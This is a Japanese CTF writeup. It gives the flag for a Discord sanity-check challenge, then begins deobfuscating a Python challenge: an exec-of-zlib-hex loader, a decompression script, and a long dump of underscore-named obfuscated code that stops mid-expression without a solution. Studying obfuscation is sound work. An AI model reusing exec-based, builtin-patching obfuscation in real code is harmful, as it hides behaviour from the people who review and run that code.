この大会は2025/9/25 3:30(JST)~2025/9/26 4:00(JST)に開催されました。
この大会は個人戦。結果は1200点で439人中68位でした。
自分で解けた問題をWriteupとして書いておきます。
sanity check (MISC)
Discordに入り、#announcementsチャネルのメッセージを見ると、マスクされている部分にフラグが見つかった。
SPL{3L337_H4cKeR_25}
the easy flag (MISC)
添付のPythonコードが難読化されているので、解除していく。
pyobfuscate=(lambda getattr:[((lambda IIlII,IlIIl:setattr(__builtins__,IIlII,IlIIl))(IIlII,IlIIl)) for IIlII,IlIIl in getattr.items()]); Il="re"; lI=r'[^a-zA-Z0-9]'; lIl="sub"; lllllllllllllll = __import__ llllllllllllllI = getattr lllllllllllllIl = bytes lllllllllIIllIIlI = exec __import__("sys").setrecursionlimit(100000000); exec(getattr(__import__("zlib"), "decompress")(bytes.fromhex('<16進数文字列>'.replace("\n" , ""))).decode())
16進数文字列をデコードし、zlibのデコンプレスを行う。
#!/usr/bin/env python3 import zlib code = '789ced5ddb6e1b...(snip)...7d9f1e2469dff1f1e636efa' pt = zlib.decompress(bytes.fromhex(code)) print(pt)
この結果、また以下の難読化コードが現れた。
b"_____=lambda _:type(*_);_0_=str;________=dict;_0=lambda _0:_0.__code__.co_argcount;_______=None;__0=_0;_=_____([_0_(),(),________(__=_0(lambda _0,__0:_0),_=_0(lambda:__0),___=_0(lambda _0:_0))]);___=[];_____=_____([_0_(),(),________(_______________=lambda:_____.________________________(_____,_____),________=lambda:iter,_______=lambda:hex,___________=lambda _0:_____.____________(_____.__(_____._())[_._]+_____.__(_____._______())[_._]+_____.__(_____.________())[(_.___**_.__+_.__)])(_0),__=lambda _:_.__name__,____=lambda _0:_____.____________(_____.__(_____.________________(type(_____.__________________()))))(*_0),__________=lambda _:_.__dir__,_________________=lambda:[],____________=lambda _0:getattr(_____.______________()()[_____.__(_____.__________(()))[_.___]+_____.__(_____.__________(()))[_.___]+_____.__(_____.________________(_____._______________()))[_._]+_____.__(_____.________________((_____,)))[_.___]+_____.__(_____.________________(_____._________________()))[_.___]+_____.__(_____.________________(_____._________________()))[_._]+_____.__(_____.________________(_____._________________()))[(_.___**_.__+_.__)]+_____.__(_____.________________(_____.___()()))[:_.__]+_____.__(_____.________________(_____._________________()))[_.__]+_____.__(_____.__________(()))[_.___]+_____.__(_____.__________(()))[_.___]],_0),______=lambda:pow,___________________=lambda:ord,_____=lambda _0,__0:_____.____________(_____.__(_____._______________________(_____.___()))[_.__]+_____.__(_____._())[(_.__**_.__+_.___)]+_____.__(_____.________())[_.___]+_____.__(_____.______________________())[(_.___**_.__+_.__)]+(_____.__(_____.________())[_.___]*_.__)+_____.__(_____.___________________())[_.___])(_0,__0),_____________________=lambda:_____.____________(_____.__(_____.________________(_____._____________()))),_____________=lambda:{},_=lambda:complex,________________=lambda _:_.__class__,______________=lambda:globals,_________=lambda:str,_______________________=lambda _:_.__ge__,______________________=lambda:float,___=lambda:_____.________________(_._),_________________________=lambda:_____.____________(_____.__(_____.________())[(_.___**_.__+_.__)]+_____.__(_____.________())[_.__]+_____.___________(_.__*((_.__**_.__+(_.___**_.__+_.__))**_.__+((_.___**_.__+_.__)**_.__+_.___)))+_____.__(_____.________())[_.__]+_____.__(_____.________())[(_.___**_.__+_.__)]+_____.__(_____.________________(_____._________________()))[_.__]+_____.__(_____.________())[_.__]+_____.__(_____.________________(_____._____________()))[_._]),____________________=lambda:__file__,__________________=lambda:_____.____________(_____.__(_____.________________(_____._________________()))[_.__:_.__*_.__]+_____.__(_____.________())[(_.___**_.__+_.__)])(),________________________=lambda _0,__0:_0==__0)]);_____.____________(_____.__(_____._())[(_.__**_.__+_.___)]+_____.__(_____._______())[_.__]+_____.__(_____._())[(_.__**_.__+_.___)]+_____.__(_____._())[_._])(_____.__(_____.________________([]))[_.___]+_____.___________((((_.___**_.__+_.__)**_.__+_.___)**_.__+(_.___**_.__+_.__)**_.__))+_____.__(_____.______())[_._]+_____.__(_____.___________________())[_._:_.__]+_____.__(_____.________________([]))[(_.___**_.__+_.__)]+_____.___________(_.__*_.__*_.__*_.__*_.__)+_____.__(_____.______())[_._]+_____.__(_____.________())[_._]+_____.__(_____._())[_._]+_____.___________((((_.___**_.__+_.__)**_.__+_.___)**_.__+(_.__**_.__+(_.___**_.__+_.__))))+_____.__(_____.________________([]))[_._]+_____.__(_____._())[(_.__**_.__+_.___)]);____=_____.____([_____.__________________(),(),_____._____________________()()]);__=_____.____([_____.__________________(),(),_____._____________________()(_______=lambda _0,__0:_____.____________(_____.__(_____._())[(_.__**_.__+_.___)]+_____.__(_____._______())[_.__]+_____.__(_____._())[(_.__**_.__+_.___)]+_____.__(_____._())[_._])(_0),___=lambda:_____.___________(((_.__**_.__+(_.___**_.__+_.__))**_.__+((_.___**_.__+_.__)**_.__+(_.___**_.__+_.__))))+_____.__(_____.______())[_._]+_____.__(_____.________())[_._]+_____.__(_____._())[_._]+_____.___________((((_.___**_.__+_.__)**_.__+_.___)**_.__+(_.__**_.__+(_.___**_.__+_.__))))+_____.__(_____.________________([]))[_._]+_____.__(_____._())[(_.__**_.__+_.___)]+_____.___________(_.__*(_.__**_.__**_.__+(_.__**_.__+(_.___**_.__+_.__))))+_____.__(_____.________________([]))[_._]+_____.__(_____._())[_.___]+_____.__(_____.______________________())[(_.___**_.__+_.__)]+_____.__(_____.___________________())[_.__]+_____.__(_____.______________())[-_.___],__________=lambda _0:_____._____(_0,_____.__(_____._())[(_.__**_.__+_.___)]+_____.__(_____.___())[_.___]+_____.__(_____._())[_._]+_____.__(_____.___________________())[_._]+_____.__(_____.___________________())[_.__]+_____.__(_____._())[(_.__**_.__+_.___)])(_____.___________(((_.__**_.__+_.__**_.__)**_.__+(_.___**_.__+_.__)**_.__))+_____.___________(((_.___**_.__+_.__)**_.__**_.__+_.__))+_____.___________(((_.__**_.__+_.__**_.__)**_.__+((_.___**_.__+_.__)**_.__+(_.__**_.__+_.__))))+__.___________()+_____._________()((_.___**_.__+_.__)*(((_.__**_.__+(_.___**_.__+_.__))**_.__+(_.__**_.__+_.___))**_.__+((_.__**_.__+_.__)**_.__+_.___)))+__.___________()+_____._________()(_.___)),______________=lambda:_____._____(_____._________()(),_____.___________(_.__*((_.__**_.__+(_.___**_.__+_.__))**_.__+_.__**_.__))+_____.__(_____.______())[_.___]+_____.__(_____.________())[_._]+_____.___________(_.__*(_.__**_.__+_.___)*((_.___**_.__+_.__)**_.__+_.__))),_________=lambda _0:(__._()*(_.__**_.__+(_.___**_.__+_.__)))+__.______________()((__.________()+_____._________()(__0)+__._____())if(_____.________________________(_____.____([__0]),_____.___()))else((__.__()+__0)if(_____.________________________(_____.____([__0]),_____._________()))else(_____._________()()))for(__0)in(_0)),______=lambda:_____.__(_____.______________())[:-_.___]+_____.___________(_.__*_.__*_.__*_.__*_.__)+__._()*((_.__**_.__+(_.___**_.__+_.__)))+__.________________(),____________=lambda:[__._________________(_0,__.__________(__0))for(_0,__0)in(_____._________________________()(___))],_________________=lambda _0,__0:__._______(__.______()+__._________(_0)+__.___()+__._______________()+(__._()*_.__)+_____._________()(_._)+__.____(),__0),________________=lambda:_____.___________(((_.__**_.__+(_.___**_.__+_.__))**_.__+((_.___**_.__+_.__)**_.__+_.___))),_=lambda:_____.___________((_.__**_.__+_.___)*(_.__**_.__**_.__+(_.___**_.__+_.__))),_____________=lambda:_____.___________(_.__*(_.__**_.__**_.__+_.___)),_______________=lambda:_____.___________(_.__*_.__*_.__*(_.__**_.__+_.___)),____=lambda:_____.___________(((_.__**_.__+_.__)**_.__+(_.__**_.__+_.___))),________=lambda:_____.___________((_.__**_.__+(_.___**_.__+_.__))*((_.___**_.__+_.__)**_.__+_.__**_.__)),_____=lambda:_____.___________((_.___**_.__+_.__)*((_.__**_.__+_.___)**_.__+(_.__**_.__+_.__))),__=lambda:_____.___________(_.__*(_.__**_.__**_.__+(_.__**_.__+(_.___**_.__+_.__)))),___________=lambda:_____.___________((_.___**_.__+_.__)*(_.___**_.__+_.__)*(_.__**_.__+_.___)))]);______=_____.____([_____.__________________(),(),_____._____________________()(__=_____.____([_____.__________________(),(),_____._____________________()(___________________=_____.____([_____.__________________(),(),_____._____________________()(_____=_____.___________(_.__*(_.___**_.__+_.__)*(_.__**_.__**_.__+(_.__**_.__+(_.___**_.__+_.__)))),____=_____.___________((_.___**_.__+_.__)*(_.___**_.__+_.__)*((_.___**_.__+_.__)**_.__+_.__**_.__)),_=_____.___________(_.__*_.__*(_.__**_.__+_.___)*(_.__**_.__+_.___)),__=_____.___________(((_.___**_.__+_.__)**_.__**_.__+_.__**_.__**_.__)),______=_____.___________((_.___**_.__+_.__)*(_.__**_.__+_.___)),___=_____.___________((_.___**_.__+_.__)*((_.__**_.__+_.__)**_.__+(_.__**_.__+_.___))))]),___=_____.____([_____.__________________(),(),_____._____________________()(____=_____.___________((((_.___**_.__+_.__)**_.__+(_.___**_.__+_.__))**_.__+(_.__**_.__+_.___))),_____=_____.___________(_.__*(_.___**_.__+_.__)*(_.___**_.__+_.__)*(_.___**_.__+_.__)),_=_____.___________(_.__*_.__*_.__*((_.___**_.__+_.__)**_.__+_.__**_.__)),__=_____.___________(_.__*_.__*_.__*_.__),___=_____.___________((_.__**_.__+_.___)*((_.___**_.__+_.__)**_.__+_.__**_.__)),______=_____.___________((_.___**_.__+_.__)*(_.___**_.__+_.__)*(_.__**_.__+(_.___**_.__+_.__))))]),_____________=_____.____([_____.__________________(),(),_____._____________________()(____=_____.___________(_.__*_.__*_.__*(_.___**_.__+_.__)),_=_____.___________((_.___**_.__+_.__)*((_.__**_.__+_.___)**_.__+(_.__**_.__+_.__))),__=_____.___________(_.__*_.__*_.__*((_.___**_.__+_.__)**_.__+_.__)),______=_____.___________((_.__**_.__+_.___)*((_.___**_.__+_.__)**_.__+_.__)),___=_____.___________(((_.__**_.__+_.___)**_.__+(_.__**_.__+_.__))),_____=_____.___________(((_.__**_.__+_.__**_.__)**_.__+(_.___**_.__+_.__)**_.__)))]),________=_____.____([_____.__________________(),(),_____._____________________()(___=_____.___________(((_.__**_.__+_.__)**_.__+(_.__**_.__+_.___))),____=_____.___________(_.__*_.__*(_.__**_.__**_.__+(_.___**_.__+_.__))),______=_____.___________(_.__*_.__*_.__),_____=_____.___________((_.___**_.__+_.__)*(_.___**_.__+_.__)*(_.__**_.__+_.___)),_=_____.___________((_.___**_.__+_.__)*(_.__**_.__+(_.___**_.__+_.__))),__=_____.___________(((_.__**_.__+(_.___**_.__+_.__))**_.__+((_.___**_.__+_.__)**_.__+(_.___**_.__+_.__)))))]),___________=_____.____([_____.__________________(),(),_____._____________________()(___=_____.___________(_.__*((_.__**_.__+(_.___**_.__+_.__))**_.__+_.__**_.__)),_=_____.___________((_.__**_.__**_.__+(_.___**_.__+_.__))),_____=_____.___________(_.__),______=_____.___________(((_.___**_.__+_.__)**_.__**_.__+_.__)),____=_____.___________(((_.__**_.__+_.__**_.__)**_.__+(_.__**_.__+(_.___**_.__+_.__)))),__=_____.___________(_.__*(_.__**_.__+(_.___**_.__+_.__))))]),______=_____.____([_____.__________________(),(),_____._____________________()(______=_____.___________((_.___**_.__+_.__)*((_.__**_.__+_.___)**_.__+_.__**_.__)),____=_____.___________(((_.__**_.__+(_.___**_.__+_.__))**_.__+((_.___**_.__+_.__)**_.__+_.___))),_=_____.___________((_.___**_.__+_.__)*(_.___**_.__+_.__)),_____=_____.___________((_.__**_.__+_.___)*(_.__**_.__**_.__+(_.__**_.__+(_.___**_.__+_.__)))),___=_____.___________(_.__*_.__*((_.__**_.__+_.___)**_.__+(_.__**_.__+_.__))),__=_____.___________(_.__*((_.__**_.__+_.__)**_.__+(_.__**_.__+_.___))))]),__=_____.____([_____.__________________(),(),_____._____________________()(______=_____.___________((_.___**_.__+_.__)*(_.__**_.__+_.___)*(_.__**_.__+_.___)),____=_____.___________(((_.__**_.__+_.___)**_.__+_.__**_.__)),__=_____.___________((_.__**_.__+(_.___**_.__+_.__))*(_.__**_.__+(_.___**_.__+_.__))),___=_____.___________(_.__*(_.___**_.__+_.__)*((_.___**_.__+_.__)**_.__+_.__)),_=_____.___________(_.__*((_.__**_.__+_.__)**_.__+_.___)),_____=_____.___________((((_.___**_.__+_.__)**_.__+(_.___**_.__+_.__))**_.__+(_.__**_.__**_.__+(_.__**_.__+(_.___**_.__+_.__))))))]),____=_____.____([_____.__________________(),(),_____._____________________()(__=_____.___________(_.__*_.__*_.__*_.__*_.__*_.__*_.__),______=_____.___________(_.__*(_.___**_.__+_.__)*((_.___**_.__+_.__)**_.__+_.__**_.__)),_=_____.___________(_.__*_.__*_.__*_.__*_.__*_.__),____=_____.___________((_.___**_.__+_.__)),_____=_____.___________(_.__*_.__),___=_____.___________((((_.___**_.__+_.__)**_.__+_.___)**_.__+_.___)))]),_________=_____.____([_____.__________________(),(),_____._____________________()(_=_____.___________((_.___**_.__+_.__)*((_.___**_.__+_.__)**_.__+_.__)),__=_____.___________(_.__*_.__*_.__*(_.__**_.__+(_.___**_.__+_.__))),____=_____.___________(((_.___**_.__+_.__)**_.__**_.__+(_.__**_.__+_.__**_.__))),_______=_____.___________((_.__**_.__+(_.___**_.__+_.__))*((_.___**_.__+_.__)**_.__+_.__)),___=_____.___________(_.__*_.__*((_.___**_.__+_.__)**_.__+_.__**_.__)),______=_____.___________(_.__*_.__*(_.___**_.__+_.__)*(_.___**_.__+_.__)*(_.___**_.__+_.__)),_____=_____.___________((_.___**_.__+_.__)*(_.__**_.__+(_.___**_.__+_.__))*(_.__**_.__+(_.___**_.__+_.__))))]),____________=_____.____([_____.__________________(),(),_____._____________________()(______=_____.___________(((_.__**_.__+(_.___**_.__+_.__))**_.__+_.__**_.__)),_=_____.___________(_.__*_.__*_.__*_.__*_.__*(_.___**_.__+_.__)),____=_____.___________((_.__**_.__+(_.___**_.__+_.__))*(_.__**_.__**_.__+_.___)),_____=_____.___________(_.__*(_.__**_.__+_.___)),___=_____.___________((_.___**_.__+_.__)*(_.__**_.__**_.__+(_.___**_.__+_.__))),__=_____.___________(_.__*((_.__**_.__+(_.___**_.__+_.__))**_.__+((_.___**_.__+_.__)**_.__+_.___))))]),______________=_____.____([_____.__________________(),(),_____._____________________()(_____=_____.___________(_.__*_.__*(_.__**_.__**_.__+_.___)),______=_____.___________(((_.___**_.__+_.__)**_.__+_.__)*((_.___**_.__+_.__)**_.__+_.__)),__=_____.___________(_.__*(_.___**_.__+_.__)*(_.___**_.__+_.__)*(_.__**_.__+(_.___**_.__+_.__))),____=_____.___________((_.___**_.__+_.__)*(_.___**_.__+_.__)*(_.___**_.__+_.__)*(_.___**_.__+_.__)),___=_____.___________(_.__*(_.__**_.__+_.___)*(_.__**_.__+_.___)),_=_____.___________((((_.___**_.__+_.__)**_.__+_.___)**_.__+(_.___**_.__+_.__)**_.__)))]),________________=_____.____([_____.__________________(),(),_____._____________________()(_=_____.___________(_.__*(_.___**_.__+_.__)*(_.__**_.__**_.__+_.___)),______=_____.___________(((_.__**_.__+_.__)**_.__+(_.__**_.__+(_.___**_.__+_.__)))),__=_____.___________(_.__*_.__*(_.___**_.__+_.__)),_____=_____.___________(_.__*_.__*_.__*_.__*_.__),___=_____.___________(((_.__**_.__+_.__**_.__)**_.__+(_.___**_.__+_.__))),____=_____.___________((_.__**_.__+_.___)*(_.__**_.__+_.___)))]),__________=_____.____([_____.__________________(),(),_____._____________________()(_____=_____.___________(_.__*_.__*(_.___**_.__+_.__)*(_.___**_.__+_.__)),____=_____.___________((_.__**_.__+_.___)*(_.__**_.__+_.___)*(_.__**_.__+_.___)),__=_____.___________(_.__*_.__*_.__*_.__*(_.__**_.__+_.___)),_=_____.___________(_.__*(_.___**_.__+_.__)*(_.___**_.__+_.__)),___=_____.___________((_.__**_.__+_.___)),______=_____.___________(_.__*_.__*(_.___**_.__+_.__)*(_.__**_.__+(_.___**_.__+_.__))))]),_______=_____.____([_____.__________________(),(),_____._____________________()(______=_____.___________(_.__*_.__*_.__*_.__*(_.__**_.__+(_.___**_.__+_.__))),____=_____.___________(_.__*(_.__**_.__+_.___)*(_.__**_.__+(_.___**_.__+_.__))),__=_____.___________(_.__*((_.__**_.__+_.__)**_.__+((_.___**_.__+_.__)**_.__+_.__))),___=_____.___________(_._),_____=_____.___________(_.__*_.__*((_.__**_.__+_.___)**_.__+_.__**_.__)),_=_____.___________((_.__**_.__+_.___)*(_.__**_.__**_.__+_.___)))]),__________________=_____.____([_____.__________________(),(),_____._____________________()(____=_____.___________(((_.___**_.__+_.__)**_.__+_.__**_.__)),_____=_____.___________(_.__*((_.__**_.__+(_.___**_.__+_.__))**_.__+((_.___**_.__+_.__)**_.__+(_.___**_.__+_.__)))),_=_____.___________(_.__*(_.__**_.__**_.__+(_.___**_.__+_.__))),___=_____.___________((_.__**_.__+_.___)*(_.__**_.__**_.__+(_.___**_.__+_.__))),______=_____.___________(_.__*(_.__**_.__**_.__+(_.__**_.__+(_.___**_.__+_.__)))),__=_____.___________(_.__*_.__*_.__*(_.___**_.__+_.__)*(_.__**_.__+_.___)))]),_____=_____.____([_____.__________________(),(),_____._____________________()(_____=_____.___________(((_.__**_.__+_.__)**_.__+_.___)),___=_____.___________(_.__*(_.___**_.__+_.__)*(_.__**_.__**_.__+(_.___**_.__+_.__))),______=_____.___________((((_.___**_.__+_.__)**_.__+_.__**_.__)**_.__+((_.___**_.__+_.__)**_.__+_.___))),____=_____.___________(_.__*(_.__**_.__+(_.___**_.__+_.__))*(_.__**_.__+(_.___**_.__+_.__))),__=_____.___________(_.__*((_.__**_.__+_.___)**_.__+(_.__**_.__+_.__))),_=_____.___________(_.__*(_.___**_.__+_.__)*(_.__**_.__+(_.___**_.__+_.__))))]),____________________=_____.____([_____.__________________(),(),_____._____________________()(_=_____.___________(_.___),___=_____.___________(_.__*_.__*((_.__**_.__+_.__)**_.__+_.___)),_____=_____.___________(_.__*(_.__**_.__+_.___)*(_.__**_.__**_.__+(_.__**_.__+(_.___**_.__+_.__)))),__=_____.___________((_.___**_.__+_.__)*((_.__**_.__+_.__)**_.__+_.___)),____=_____.___________(_.__*(_.___**_.__+_.__)*(_.___**_.__+_.__)*(_.__**_.__+_.___)),______=_____.___________(((_.__**_.__+_.__**_.__)**_.__+((_.___**_.__+_.__)**_.__+(_.__**_.__+_.__)))))]),_=_____.____([_____.__________________(),(),_____._____________________()(_=_____.___________(_.__*_.__*_.__*_.__*(_.___**_.__+_.__)),__=_____.___________(_.__*(_.__**_.__+_.___)*((_.___**_.__+_.__)**_.__+_.__)),___=_____.___________(_.__*((_.___**_.__+_.__)**_.__+_.__)),______=_____.___________(_.__*(_.___**_.__+_.__)),____=_____.___________((_.___**_.__+_.__)*(_.___**_.__+_.__)*((_.___**_.__+_.__)**_.__+_.__)),_____=_____.___________((_.__**_.__+_.___)*(_.__**_.__+(_.___**_.__+_.__))))]),_______________=_____.____([_____.__________________(),(),_____._____________________()(_____=_____.___________((_.___**_.__+_.__)*(_.__**_.__+_.___)*(_.__**_.__+(_.___**_.__+_.__))),____=_____.___________((((_.___**_.__+_.__)**_.__+_.___)**_.__+(_.__**_.__+(_.___**_.__+_.__)))),_=_____.___________(_.__*_.__*_.__*(_.__**_.__+_.___)),______=_____.___________((_.__**_.__**_.__+_.___)),___=_____.___________((((_.___**_.__+_.__)**_.__+_.___)**_.__+((_.___**_.__+_.__)**_.__+_.__**_.__))),__=_____.___________((_.___**_.__+_.__)*(_.__**_.__**_.__+_.___)))]),_________________=_____.____([_____.__________________(),(),_____._____________________()(____=_____.___________(_.__*_.__*(_.__**_.__+_.___)*(_.__**_.__+(_.___**_.__+_.__))),______=_____.___________((_.___**_.__+_.__)*(_.__**_.__**_.__+(_.__**_.__+(_.___**_.__+_.__)))),_=_____.___________(_.__*_.__*(_.___**_.__+_.__)*(_.__**_.__+_.___)),_____=_____.___________(_.__*((_.__**_.__+_.__)**_.__+(_.__**_.__+(_.___**_.__+_.__)))),___=_____.___________(_.__*_.__*_.__*(_.___**_.__+_.__)*(_.___**_.__+_.__)),__=_____.___________((((_.___**_.__+_.__)**_.__+_.___)**_.__+(_.___**_.__+_.__))))]))]),_=_____.____([_____.__________________(),(),_____._____________________()(_______=_____.____([_____.__________________(),(),_____._____________________()()]),___________=_____.____([_____.__________________(),(),_____._____________________()(_=lambda:______.__.____.__+______.__.____._____+______.__.___.____+______.__._____.______+______.__._______.___+______.__._______.___+______.__._______.___+______.__._______.___+______.__._______.___+______.__._______.___+______.__._______.___+______.__._________________.____+______.__.____.____+______.__.___________________.__+______.__.______._____+______.__._______._____+______.__.____________________.___+______.__._________________.____+______.__.____._____+______.__.________________.___+______.__.___________________.__+______.__._________.______+______.__._________.______+______.__.____________________.___+______.__._________._____+______.__.____________________.___+______.__.________.___+______.__.______.__+______.__.____________________.___+______.__.__________.____+______.__.____________________.___+______.__._______________._+______.__._________________.____+______.__.____._____+______.__.________________._+______.__.___________________.____+______.__._.__+______.__._.____+______.__.____________________.___+______.__.____.______+______.__._________________.____+______.__.____._____+______.__.___________________.__+______.__._____.___+______.__._________________.__+______.__.______._____+______.__.____________________.___+______.__._____________._+______.__.____________________.___+______.__.___._+______.__._______.___+______.__._________________.____+______.__.________.______+______.__.________________.___+______.__.____________________.__+______.__._.__+______.__.______._____+______.__._______._____+______.__.___________________.__+______.__._.__+______.__._______._____+______.__.____________________.___+______.__._________._____+______.__.____________________.___+______.__.________.___+______.__.______.__+______.__.____________________.___+______.__.__________.____+______.__.____________________.___+______.__._______________._+______.__._________________.____+______.__.__________.___+______.__.____________.__+______.__.___________________.__+______.__._________.______+______.__.___________________.____+______.__.____.___+______.__.____________________.___+______.__._________________.____+______.__._.______+______.__._____.____+______.__.___________________.__+______.__.______._____+______.__.____.___+______.__.___._____+______.__._________.___+______.__.____________________.___+______.__._________________.____+______.__.____._____+______.__._______________.____+______.__._______________._____+______.__._.__+______.__.___________________._+______.__.____________________.___+______.__.____.______+______.__._________________.____+______.__._.______+______.__._________.______+______.__._______________._____+______.__._.__+______.__.____.___+______.__._.__+______.__.____________________.__+______.__.____________________.___+______.__.__.______+______.__.____________________._+______.__._________________.____+______.__.____________._____+______.__._.____+______.__.____________________.__+______.__._________.______+______.__.__________________.___+______.__.____________________.__+______.__.________________._+______.__.________________._+______.__.______._____+______.__.____.___+______.__._______._____+______.__.____________________.___+______.__.__.______+______.__.___.__+______.__._________________.____+______.__.____________._____+______.__.____.___+______.__._.__+______.__.___________________._+______.__.__________________.___+______.__._________.______+______.__._______________._____+______.__._.__+______.__.____.___+______.__._.__+______.__.____________________.__+______.__.____________________.___+______.__.__.______+______.__.____________________._+______.__._________________.____+______.__.___________.__+______.__.____.___+______.__._.__+______.__.___________________._+______.__.__________________.___+______.__._.____+______.__.____________________.__+______.__._________.______+______.__.__________________.___+______.__.____________________.__+______.__.________________._+______.__.________________._+______.__.______._____+______.__.____.___+______.__._______._____+______.__.____________________.___+______.__.__.______+______.__._____________.____+______.__.___________________.____+______.__._____.____+______.__.___________________.__+______.__._________________.____+______.__.________.______+______.__._______________.____+______.__.____.___+______.__.______________.______+______.__.____________.____+______.__.____________________.__+______.__._____.___+______.__.___________________._+______.__.______._____+______.__.____________________.___+______.__._____________._+______.__.____________________.___+______.__.___._+______.__.___________________.______+______.__.__.______+______.__.____________________._+______.__.___._+______.__.___.__+______.__.__.______+______.__.__________.___+______.__.___._+______.__._______________.______+______.__.__.______+______.__.____________________._+______.__.___._+______.__.__________._+______.__.__.______+______.__.________________.____+______.__.___________________.____+______.__._____.____+______.__.__________________.______)]),_____________=_____.____([_____.__________________(),(),_____._____________________()(_=lambda:______.__.____.__+______.__.____._____+______.__.___.____+______.__.___________________.____+______.__._______.___+______.__._______.___+______.__._______.___+______.__._______.___+______.__._______.___+______.__._______.___+______.__._______.___+______.__._________________.____+______.__.____.____+______.__.___________________.__+______.__.______._____+______.__._______._____+______.__.____________________.___+______.__._________________.____+______.__.____._____+______.__.________________.___+______.__.___________________.__+______.__._________.______+______.__._________.______+______.__.____________________.___+______.__._________._____+______.__.____________________.___+______.__.________.___+______.__.______.__+______.__.____________________.___+______.__.__________.____+______.__.____________________.___+______.__._______________._+______.__._________________.____+______.__.____._____+______.__.________________._+______.__.___________________.____+______.__._.__+______.__._.____+______.__.____________________.___+______.__.____.______+______.__._________________.____+______.__.____._____+______.__.___________________.__+______.__._____.___+______.__._________________.__+______.__.______._____+______.__.____________________.___+______.__._____________._+______.__.____________________.___+______.__.____.______+______.__.___________________.__+______.__._________________.____+______.__.________.______+______.__._______________.____+______.__.____.___+______.__.______________.______+______.__.____________.____+______.__.____________________.__+______.__._____.___+______.__.___________________._+______.__.______._____+______.__.____________________.___+______.__._____________._+______.__.____________________.___+______.__._________________.____+______.__._.______+______.__._________.______+______.__._______________._____+______.__._.__+______.__.____.___+______.__._.__+______.__.____________________.__+______.__.____________________.___+______.__.__.______+______.__.____________________._+______.__._________________.____+______.__.____________._____+______.__._.____+______.__.____________________.__+______.__._________.______+______.__.__________________.___+______.__.____________________.__+______.__.________________._+______.__.________________._+______.__.______._____+______.__.____.___+______.__._______._____+______.__.____________________.___+______.__.__.______+______.__._______.___+______.__._________________.____+______.__.____________._____+______.__.____.___+______.__._.__+______.__.___________________._+______.__.__________________.___+______.__._________.______+______.__._______________._____+______.__._.__+______.__.____.___+______.__._.__+______.__.____________________.__+______.__.____________________.___+______.__.__.______+______.__.____________________._+______.__._________________.____+______.__.___________.__+______.__.____.___+______.__._.__+______.__.___________________._+______.__.__________________.___+______.__._.____+______.__.____________________.__+______.__._________.______+______.__.__________________.___+______.__.____________________.__+______.__.________________._+______.__.________________._+______.__.______._____+______.__.____.___+______.__._______._____+______.__.____________________.___+______.__._________._______+______.__.________________._____+______.__.____._____+______.__.___________________.____+______.__._____.____+______.__.__________________.______)]),______________=_____.____([_____.__________________(),(),_____._____________________()(_=lambda:______.__.____.__+______.__.____._____+______.__.___.____+______.__.___________________._____+______.__._______.___+______.__._______.___+______.__._______.___+______.__._______.___+______.__._______.___+______.__._______.___+______.__._______.___+______.__._________________.____+______.__.____.____+______.__.___________________.__+______.__.______._____+______.__._______._____+______.__.____________________.___+______.__._________________.____+______.__.______._+______.__.___.___+______.__._______._____+______.__._______._____+______.__._____.___+______.__._______________._____+______.__._____.____+______.__.___________________.____+______.__._______._____+______.__.____.___+______.__.____________________.___+______.__._________._____+______.__.____________________.___+______.__.________.___+______.__.______.__+______.__.____________________.___+______.__.__________.____+______.__.____________________.___+______.__._______________._+______.__._________________.____+______.__.__________.___+______.__.____________.__+______.__.___________________.__+______.__._________.______+______.__.___________________.____+______.__.____.___+______.__.____________________.___+______.__.____.______+______.__._________________.____+______.__.____._____+______.__.___________________.__+______.__._______._____+______.__._______._____+______.__._____.___+______.__.____________________.___+______.__._________________.____+______.__._.______+______.__.___________________._+______.__.____.___+______.__._.____+______.__.____________________.__+______.__.___________________._+______.__.____.___+______.__.____________________.___+______.__._________________.____+______.__.____.____+______.__._.____+______.__._______._____+______.__.__________________.__+______.__.____________________.___+______.__.___._+______.__._______.___+______.__._________________.____+______.__.____._____+______.__.________.____+______.__.____________________.__+______.__.___________________.__+______.__.___________________._+______.__.____________________.___+______.__._________._____+______.__.____________________.___+______.__.________.___+______.__.______.__+______.__.____________________.___+______.__.__________.____+______.__.____________________.___+______.__._____.____+______.__._________________.____+______.__._.______+______.__._________.______+______.__._______________._____+______.__._.__+______.__.____.___+______.__._.__+______.__.____________________.__+______.__.____________________.___+______.__.__.______+______.__.____________________._+______.__._________________.____+______.__.____________._____+______.__._.____+______.__.____________________.__+______.__._________.______+______.__.__________________.___+______.__.____________________.__+______.__.________________._+______.__.________________._+______.__.______._____+______.__.____.___+______.__._______._____+______.__.____________________.___+______.__.__.______+______.__.__________.___+______.__._________________.____+______.__.____________._____+______.__.____.___+______.__._.__+______.__.___________________._+______.__.__________________.___+______.__._________.______+______.__._______________._____+______.__._.__+______.__.____.___+______.__._.__+______.__.____________________.__+______.__.____________________.___+______.__.__.______+______.__.____________________._+______.__._________________.____+______.__.___________.__+______.__.____.___+______.__._.__+______.__.___________________._+______.__.__________________.___+______.__._.____+______.__.____________________.__+______.__._________.______+______.__.__________________.___+______.__.____________________.__+______.__.________________._+______.__.________________._+______.__.______._____+______.__.____.___+______.__._______._____+______.__.____________________.___+______.__._________._______+______.__.__.____+______.__.____._____+______.__.___________________.____+______.__._____.____+______.__.__________________.______)]),_____=_____.____([_____.__________________(),(),_____._____________________()()]),______=_____.____([_____.__________________(),(),_____._____________________()(_=lambda:______.__.____.__+______.__.____._____+______.__.___.____+______.__.______._____+______.__._______.___+______.__._______.___+______.__._______.___+______.__._______.___+______.__._______.___+______.__._______.___+______.__._______.___+______.__._________________.____+______.__.____.____+______.__.___________________.__+______.__.______._____+______.__._______._____+______.__.____________________.___+______.__._________________.____+______.__.____._____+______.__.________________.___+______.__.___________________.__+______.__._________.______+______.__._________.______+______.__.____________________.___+______.__._________._____+______.__.____________________.___+______.__.________.___+______.__.______.__+______.__.____________________.___+______.__.__________.____+______.__.____________________.___+______.__._______________._+______.__._________________.____+______.__.____._____+______.__.________________._+______.__.___________________.____+______.__._.__+______.__._.____+______.__.____________________.___+______.__.____.______+______.__._________________.____+______.__.____._____+______.__.___________________.__+______.__._____.___+______.__._________________.__+______.__.______._____+______.__.____________________.___+______.__._____________._+______.__.____________________.___+______.__._________________.____+______.__.________.______+______.__._______________.____+______.__.____.___+______.__.______________.______+______.__.____________.____+______.__.____________________.__+______.__._____.___+______.__.___________________._+______.__.______._____+______.__.____________________.___+______.__._____________._+______.__.____________________.___+______.__._________________.____+______.__._.______+______.__._________.______+______.__._______________._____+______.__._.__+______.__.____.___+______.__._.__+______.__.____________________.__+______.__.____________________._